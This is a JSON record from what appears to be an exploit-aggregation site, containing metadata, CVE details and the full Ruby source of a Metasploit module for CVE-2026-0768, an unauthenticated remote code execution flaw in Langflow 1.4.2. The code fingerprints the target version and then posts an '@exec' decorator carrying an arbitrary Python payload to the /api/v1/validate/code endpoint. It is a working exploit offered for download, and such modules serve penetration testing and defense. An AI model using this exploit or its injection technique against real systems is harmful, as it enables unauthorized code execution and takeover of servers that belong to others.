{"exploit":{"id":"MSF-multi--http--langflow_unauth_rce_cve_2026_0768","name":"Langflow AI Validate Code Injection unauth RCE","description":"Langflow version 1.4.2 is susceptible to unauthenticated remote code execution due to improper handling of the code parameter provided to the `/validate` endpoint. Arbitrary code is executed under the context of the backend Langflow process.","cves":["CVE-2026-0768"],"author":"Richard Howe, Peter Girnus","published":"2026-09-02","platform":"Python","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_0768.rb","path":"modules/exploits/multi/http/langflow_unauth_rce_cve_2026_0768.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"langflow_unauth_rce_cve_2026_0768.rb","vulnerabilities":[{"id":"CVE-2026-0768","state":"PUBLISHED","title":"Langflow code Code Injection Remote Code Execution Vulnerability","titleSource":"CVE Program","description":"Langflow code Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the code parameter provided to the validate endpoint. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of root. . Was ZDI-CAN-27322.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-0768","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"zdi","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-0768"},"updatedAt":"2026-02-26T14:44:27.192Z","retrievedAt":"2026-11-25T16:13:34.013Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_0768.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_0768","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_0768/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--langflow_unauth_rce_cve_2026_0768/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Langflow AI Validate Code Injection unauth RCE',\n        'Description' => %q{\n          Langflow version 1.4.2 is susceptible to unauthenticated\n          remote code execution due to improper handling of the code\n          parameter provided to the `/validate` endpoint.\n\n          Arbitrary code is executed under the context of the backend\n          Langflow process.\n        },\n        'Author' => [\n          'Richard Howe <rhowe425>', # Msf module\n          'Peter Girnus' # Vulnerability Discovery\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2026-0768']\n        ],\n        'Targets' => [\n          [\n            'Python payload',\n            {\n              'Platform' => 'python',\n              'Arch' => ARCH_PYTHON\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => { 'RPORT' => 7860 },\n        'Payload' => {\n          'BadChars' => '\"'\n        },\n        'DisclosureDate' => '2026-09-02',\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'SideEffects' => [ IOC_IN_LOGS ],\n          'Reliability' => [ REPEATABLE_SESSION ]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new(\n          'TARGETURI',\n          [true, 'Base path of the Langflow application', '/']\n        )\n      ]\n    )\n  end\n\n  def check\n    res = send_request_cgi(\n      {\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, 'api/v1/version')\n      }\n    )\n\n    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200\n\n    doc = res.get_json_document\n    version_str = doc.is_a?(Hash) ? doc['version'] : nil\n    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str\n\n    package = doc.is_a?(Hash) ? doc['package'] : nil\n    return Exploit::CheckCode::Unknown('Failed to identify application.') unless package\n    return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'\n\n    version = Rex::Version.new(version_str.to_s)\n    return Exploit::CheckCode::Unknown('Failed to parse version.') unless version\n\n    # Vulnerable version of Langflow\n    return Exploit::CheckCode::Appears(\"Version #{version} detected, which appears vulnerable.\") if version == Rex::Version.new('1.4.2')\n\n    # Patched version of Langflow\n    Exploit::CheckCode::Safe(\"Version #{version} detected, which is not vulnerable.\")\n  end\n\n  def exploit\n    res = send_request_cgi(\n      {\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri.path, 'api/v1/validate/code'),\n        'headers' => {\n          'Content-Type' => 'application/json'\n        },\n        'data' => {\n          'code' => \"@exec(\\\"#{payload.encode}\\\")\\ndef #{rand_text_alpha(6)}():\\n    pass\"\n        }.to_json\n      }\n    )\n    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200\n  end\nend\n","sha256":"a53491bdbf82f0689f45869ce7618582ae4f85c48ebb98e7dc428a6b58a90854","bytes":3312,"fetchedAt":"2026-11-25T16:31:00.357Z","encoding":"utf-8 (display only; download retains original bytes)"}